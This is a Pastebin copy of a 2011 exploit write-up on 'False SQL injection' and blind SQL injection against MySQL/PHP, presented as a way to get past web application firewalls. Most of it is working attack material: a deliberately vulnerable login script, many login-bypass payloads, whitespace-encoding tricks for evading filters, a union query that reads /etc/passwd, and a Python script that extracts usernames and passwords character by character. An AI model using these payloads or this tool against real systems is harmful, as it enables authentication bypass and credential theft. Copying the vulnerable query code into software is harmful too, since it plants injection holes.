Advertisement
5kullCOD

False SQL injection and advanced blind SQL injection

Nov 28th, 2014
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.37 KB | None | 0 0
  1. HomeSubmitPartnersTeamAbout
  2.  
  3.  
  4. False SQL injection and advanced blind SQL injection
  5. Author: wh1ant Categories: Articles View : 2,570
  6.  
  7. ?View Code TXT
  8.  
  9.  
  10.  
  11. #########################################################################
  12. # #
  13. # Exploit Title: False SQL injection and advanced blind SQL injection #
  14. # Date: 21/12/2011 #
  15. # Author: wh1ant #
  16. # Group: secuholic #
  17. # #
  18. # ### ## #
  19. # ###### ###### #
  20. # ## ## ### ## #
  21. # ## ## #
  22. # ### ### #
  23. # ### ### #
  24. # ### # # ### #
  25. # ############ ########### #
  26. # ############################ #
  27. # ############################## #
  28. # ############################# #
  29. # # ############################ # #
  30. # # #### ############ #### # #
  31. # # ##### ########## ##### # #
  32. # # ###################### ## #
  33. # ## #################### ## #
  34. # ## ################## ## #
  35. # # ## ################ ## # #
  36. # # ## ############## ## # #
  37. # ## ## ############ ## ## #
  38. # ## ## ########## ## ## #
  39. # # ## ######## ## # #
  40. # ## ###### ## #
  41. # ## #### ## #
  42. # ## ## ## #
  43. # ## ## #
  44. # ## ## #
  45. # ### ### #
  46. # #
  47. #########################################################################
  48.  
  49.  
  50.  
  51. This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage.
  52. In order to read this document, you have to understand basic MySQL principles. I classified the term "SQL Injection" as 2 meanings. The first is a general SQL Injection, we usually call this "True SQL Injection", and the second is a "False SQL Injection". Though in this documentation, you can know something special about "True SQL Injection"
  53. And I mean to say it's true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in "Blind SQL Injection". A tested environment was as follow.
  54.  
  55. ubuntu server 11.04
  56. mysql 5.1.54-1
  57. Apache 2.2.17
  58. PHP 5.3.5-1
  59.  
  60. A tested code was as follow.
  61.  
  62. <?php
  63.  
  64. /*
  65. create database injection_db;
  66. use injection_db;
  67. create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
  68. insert into users values(1, 'admin', 'ad1234');
  69. insert into users values(2, 'wh1ant', 'wh1234');
  70. insert into users values(3, 'secuholic', 'se1234');
  71.  
  72. *** login.php ***
  73. */
  74.  
  75. if(empty($_GET['id']) || empty($_GET['password'])){
  76. echo "<html>";
  77. echo "<body>";
  78. echo "<form name='text' action='login.php' method='get'>";
  79. echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>";
  80. echo "PASS<input type='password' name='password'><br></h4>";
  81. echo "<input type='submit' value='Login'>";
  82. echo "</form>";
  83. echo "</body>";
  84. echo "</html>";
  85. }
  86.  
  87. else{
  88. $id = $_GET['id'];
  89. $password = $_GET['password'];
  90.  
  91. $dbhost = 'localhost';
  92. $dbuser = 'root';
  93. $dbpass = 'pass';
  94. $database = 'injection_db';
  95.  
  96. $db = mysql_connect($dbhost, $dbuser, $dbpass);
  97. mysql_select_db($database,$db);
  98. $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error());
  99.  
  100. $row = mysql_fetch_array($sql);
  101.  
  102. if($row[id] && $row[password]){
  103. echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
  104. echo "<h3><font color=#000000>"."Hello, "."</u>";
  105. echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  106. }
  107. else{
  108. echo "<script>alert('Login failed');</script>";
  109. }
  110. mysql_close($db);
  111. }
  112.  
  113. ?>
  114.  
  115.  
  116. First, basic SQL Injection is as follow.
  117. ' or 1=1#
  118.  
  119. The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.
  120. '=0#
  121.  
  122. We can apply it in a different way.
  123.  
  124. This is possible as 0>-1
  125. '>-1#
  126.  
  127. Also, this is possible as 0<1
  128. '<1#
  129.  
  130. You don't have to use only single figures. You can use two figures attack as follow.
  131. 1'<99#
  132.  
  133. Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1).
  134. '=0=1#
  135.  
  136.  
  137. Additionally there is some possible comparison operation making the same value each other.
  138. '<=>0#
  139.  
  140. Like this, if you use the comparison operation, you can attack as additional manner.
  141.  
  142. '=0=1=1=1=1=1#
  143. '=1<>1#
  144. '<>1#
  145. 1'<>99999#
  146. '!=2!=3!=4#
  147.  
  148.  
  149.  
  150. In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL.
  151.  
  152. mysql> select * from users;
  153. +-----+-----------+----------+
  154. | num | id | password |
  155. +-----+-----------+----------+
  156. | 1 | admin | ad1234 |
  157. | 2 | wh1ant | wh1234 |
  158. | 3 | secuholic | se1234 |
  159. +-----+-----------+----------+
  160. 3 rows in set (0.01 sec)
  161.  
  162. This shows the contents in any table without any problem.
  163. The following is the content when you don't input any value in the id
  164.  
  165. mysql> select * from users where id='';
  166. Empty set (0.00 sec)
  167.  
  168. Of course there is not result because id field dosen't have any string.
  169. In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true.
  170.  
  171. mysql> select * from users where id=0;
  172. +-----+-----------+----------+
  173. | num | id | password |
  174. +-----+-----------+----------+
  175. | 1 | admin | ad1234 |
  176. | 2 | wh1ant | wh1234 |
  177. | 3 | secuholic | se1234 |
  178. +-----+-----------+----------+
  179. 3 rows in set (0.00 sec)
  180.  
  181. If you input 0 in id, All the content is showed. This is the basic about "False SQL Injection". After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise operations and arithmetic operations.
  182. Once I'll show bitwise operation example.
  183.  
  184.  
  185.  
  186. Or bitwise operation is well known for any programmer. And as I told you before, '' is 0, if you operate "0 bitwise OR 0", the result is 0. So the following operation succeed log on as the False SQL Injection.
  187. '|0#
  188.  
  189. Naturally, you can use AND operation.
  190. '&0#
  191.  
  192. This is the attack using XOR
  193. '^0#
  194.  
  195. Also using shift operation is enable.
  196. '<<0#
  197. '>>0#
  198.  
  199. If you apply like those bitwise operations, you can use variable attack methods.
  200. '&''#
  201. '%11&1#
  202. '&1&1#
  203. '|0&1#
  204. '<<0|0#
  205. '<<0>>0#
  206.  
  207. In this time, I will show "False SQL Injection" using arithmetic operations.
  208. If the result is 0 using arithmetic operation with '', attack will be success. The following is the example using arithmetic operation.
  209.  
  210. '*9#
  211. Multiplication
  212.  
  213. '/9#
  214. Division.
  215.  
  216. '%9#
  217. Mod
  218.  
  219. '+0#
  220. Addition
  221.  
  222. '-0#
  223. Subtraction
  224.  
  225. Significant point is that the result has to be under one. Also you can attack as follow.
  226. '+2+5-7#
  227. '+0+0-0#
  228. '-0-0-0-0-0#
  229. '*9*8*7*6*5#
  230. '/2/3/4#
  231. '%12%34%56%78#
  232. '/**/+/**/0#
  233. '-----0#
  234. '+++0+++++0*0#
  235.  
  236.  
  237.  
  238. Next attack is it using fucntion. In this document, I can't show all the functions. Because this attack is not difficult, you can use the "True, False SQL Injection" attack with function as much as you want. And whether this attack is "True SQL Injection" or "False SQL Injection" is decided on the last operation after return of function.
  239. '<hex(1)#
  240. '=left(0x30,1)#
  241. '=right(0,1)#
  242. '!=curdate()#
  243. '-reverse(0)#
  244. '=ltrim(0)#
  245. '<abs(1)#
  246. '*round(1,1)#
  247. '&left(0,0)#
  248. '*round(0,1)*round(0,1)#
  249.  
  250.  
  251.  
  252. Also, you can use attack using space in function name. But you are able to use the space with only some function.
  253. '=upper (0)#
  254.  
  255.  
  256.  
  257. In this time, SQL keyword is method. This method is also decided as True or False Injection according to case.
  258. ' <1 and 1#
  259. 'xor 1#
  260. 'div 1#
  261. 'is not null#
  262. admin' order by'
  263. admin' group by'
  264. 'like 0#
  265. 'between 1 and 1#
  266. 'regexp 1#
  267.  
  268.  
  269.  
  270. Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, --, /**/, so the method is more effective in the Web Firewalls.
  271. ID : '='
  272. PASS: '='
  273.  
  274. ID : '<>'1
  275. PASS: '<>'1
  276.  
  277. ID : '>1='
  278. PASS: '>1='
  279.  
  280. ID : 0'='0
  281. PASS: 0'='0
  282.  
  283. ID : '<1 and 1>'
  284. PASS: '<1 and 1>'
  285.  
  286. ID : '<>ifnull(1,2)='1
  287. PASS: '<>ifnull(1,2)='1
  288.  
  289. ID : '=round(0,1)='1
  290. PASS: '=round(0,1)='1
  291.  
  292. ID : '*0*'
  293. PASS: '*0*'
  294.  
  295. ID : '+'
  296. PASS: '+'
  297.  
  298. ID : '-'
  299. PASS: '-'
  300.  
  301. ID :'+1-1-'
  302. PASS:'+1-1-'
  303.  
  304.  
  305.  
  306. All attacks used in the documentation will be more effective with using bracket when detouring web firewall.
  307. '+(0-0)#
  308. '=0<>((reverse(1))-(reverse(1)))#
  309. '<(8*7)*(6*5)*(4*3)#
  310. '&(1+1)-2#
  311. '>(0-100)#
  312.  
  313.  
  314.  
  315. Let's see normal SQL Injection attack.
  316. ' or 1=1#
  317.  
  318. If this is translated in hexdemical, the result is as follow.
  319. http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234
  320.  
  321. Like attack above is basically filtered. So that's not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09.
  322.  
  323. The possible values are as follow.
  324. %09
  325. %0a
  326. %0b
  327. %0c
  328. %0d
  329. %a0
  330. %23%0a
  331. %23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a
  332.  
  333. The following is the example using %a0 instead of %20.
  334. http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234
  335.  
  336.  
  337.  
  338. In this time, I will show "Blind SQL injection" attack, this attack can't detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject.
  339. The following attack code can be used on log on page. And the page will show id and password.
  340. 'union select 1,group_concat(password),3 from users#
  341.  
  342. This attack code brings /etc/password information.
  343. 'union select 1,load_file(0x2f6574632f706173737764),3 from users#
  344.  
  345. Dare I say it without union select statement using Blind SQL injection with and operation is possible.
  346.  
  347. The result of record are three.
  348. admin' and (select count(*) from users)=3#
  349.  
  350.  
  351.  
  352. Let's attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection.
  353.  
  354. <?php
  355.  
  356. /*** info.php ***/
  357.  
  358. $n = $_GET['num'];
  359. if(empty($n)){
  360. $n = 1;
  361. }
  362.  
  363. $dbhost = 'localhost';
  364. $dbuser = 'root';
  365. $dbpass = 'root';
  366. $database = 'injection_db';
  367.  
  368. $db = mysql_connect($host, $dbuser, $dbpass);
  369. mysql_select_db($database,$db);
  370. $sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error());
  371. $info = @mysql_fetch_row($sql);
  372. echo "<body bgcolor=#000000>";
  373. echo "<h1><font color=#FFFFFF>wh1ant</font>";
  374. echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>";
  375. echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  376. echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";
  377. echo "<body>";
  378. mysql_close($db);
  379.  
  380. ?>
  381.  
  382.  
  383.  
  384. Basic Blind SQL Injection is as follow on like above.
  385.  
  386. http://127.0.0.1/info.php?num=1 and 1=0
  387. http://127.0.0.1/info.php?num=1 and 1=1
  388.  
  389. But using = operation is possible for Blind SQL Injection.
  390.  
  391. http://192.168.137.129/info.php?num=1=0
  392. http://192.168.137.129/info.php?num=1=1
  393.  
  394. Also other operation is possible naturally.
  395.  
  396. http://127.0.0.1/info.php?num=1<>0
  397. http://127.0.0.1/info.php?num=1<>1
  398.  
  399. http://127.0.0.1/info.php?num=1<0
  400. http://127.0.0.1/info.php?num=1<1
  401.  
  402. http://127.0.0.1/info.php?num=1*0*0*1
  403. http://127.0.0.1/info.php?num=1*0*0*0
  404.  
  405. http://127.0.0.1/info.php?num=1%1%1%0
  406. http://127.0.0.1/info.php?num=1%1%1%1
  407.  
  408. http://127.0.0.1/info.php?num=1 div 0
  409. http://127.0.0.1/info.php?num=1 div 1
  410.  
  411. http://127.0.0.1/info.php?num=1 regexp 0
  412. http://127.0.0.1/info.php?num=1 regexp 1
  413.  
  414. http://127.0.0.1/info.php?num=1^0
  415. http://127.0.0.1/info.php?num=1^1
  416.  
  417. Attack example:
  418. http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
  419. http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
  420. http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
  421. http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
  422. http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
  423. http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
  424. http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
  425. http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
  426. http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)
  427.  
  428. If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.
  429.  
  430. #!/usr/bin/python
  431.  
  432. ### blind.py ###
  433.  
  434. import urllib
  435. import sys
  436. import os
  437.  
  438.  
  439.  
  440. def put_data(true_url, true_result, field, index, length):
  441. for i in range(1, length+1):
  442. for j in range(32, 127):
  443. attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
  444. attack_open = urllib.urlopen(attack_url)
  445. attack_result = attack_open.read()
  446. attack_open.close()
  447. if attack_result==true_result:
  448. ch = "%c" % j
  449. sys.stdout.write(ch)
  450. break
  451. print "\t\t",
  452.  
  453. def get_length(false_url, false_result, field, index):
  454. i=0
  455. while 1:
  456. data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
  457. data_length_open = urllib.urlopen(data_length_url)
  458. data_length_result = data_length_open.read()
  459. data_length_open.close()
  460. if data_length_result==false_result:
  461. return i
  462. i+=1
  463.  
  464. url = "http://127.0.0.1/info.php"
  465.  
  466. true_url = url + "?num=1"
  467. true_open = urllib.urlopen(true_url)
  468. true_result = true_open.read()
  469. true_open.close()
  470.  
  471. false_url = url + "?num=0"
  472. false_open = urllib.urlopen(false_url)
  473. false_result = false_open.read()
  474. false_open.close()
  475.  
  476.  
  477. print "num\t\tid\t\tpassword"
  478. fields = "num", "id", "password"
  479.  
  480. for i in range(1, 4):
  481. for j in range(0, 3):
  482. length = get_length(false_url, false_result, fields[j], i)
  483. length = put_data(false_url, true_result, fields[j], i, length)
  484. print ""
  485.  
  486.  
  487.  
  488. To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement